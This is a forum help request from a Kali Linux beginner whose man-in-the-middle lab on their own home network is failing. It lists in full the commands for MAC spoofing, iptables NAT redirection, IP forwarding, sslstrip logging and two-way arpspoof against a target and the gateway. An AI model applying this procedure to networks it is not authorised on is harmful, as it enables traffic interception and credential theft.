Hi All,
New to Kali/ Linux.
Learning as much as possible.
Have spent about 4 days solid googling, reading and trying to solve this problem - thought it best to ask for some help.
Goal: Successfully arpspoof my test target laptop on my wireless network to run squid3 scripts
Setup:
Laptop 1:
Windowsx64 host with Kali guest on virtual box.
Laptop 2:
Windows Vista
Router:
Archer D7
Wireless Adapter:
TP-LINK TL-WN722N ( Atheros drivers installed and working in Kali)
Current Arpspoof process #1
1 #Check eth and wlan
Code:
ifconfig
iwconfig
iw wlan1 link
ip link set wlan1 down
ip link show wlan1
macchanger wlan1
ip link set wlan1 up
ip link show wlan1
iw wlan1 link
iw wlan1 scan
2 #Config wifi network
Code:
cat /etc/wpa_supplicant.conf
nano /etc/wpa_supplicant.conf
#Enter SSID, ssid="xxxxxx" , #psk="xxxxxx" (include hash on psk)
3 #Connect wifi
Code:
wpa_supplicant -B -D wext -i wlan1 -c /etc/wpa_supplicant.conf
iw wlan1 link
4 #Get DHCP Address
5 #Get default Gateway
6 #flush all chains
Code:
iptables -F
iptables -t nat -F
iptables -t mangle -F
#delete all chains
iptables -X
7 #set new chain
Code:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
8 #check new chain
9 #forward port traffic
Code:
cat /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
10 #edit squid scripts with new ip
Code:
nano /root/(scripts).pl
service squid3 restart
service apache2 restart
11 #sslstrip in terminal then minimise and work in new window
12 #Scan targets
Code:
nmap -sP -T4 192.168.1.1
13 #Start SSL strip
Code:
sslstrip -k -l 8080 -w /root/Desktop/sslstrip.log
14 #Begin arpspoof
Code:
arpspoof -i eth0 -t 192.168.1.xxx 192.168.1.1
arpspoof -i eth0 -t 192.168.1.1 192.168.1.xxx // In new terminal
Problems
1. Arpspoof is successful with eth0 but target computer experiences Dos and is unable to connect to the internet.
2. Arpspoof sucessfully spoofs target with wlan1 but will NOT arpspoof the default gateway 192.168.1.1
3. I've tried using the GUI version of Ettercap but I run into the exact same issue as problem 1.
Can anyone point out what it is I'm doing wrong please?
My only hunch is my Archer D7 router knows that I'm trying to copy it so it shuts down the packets to the target. My "switch" still can access internet in both the Kali guest and host.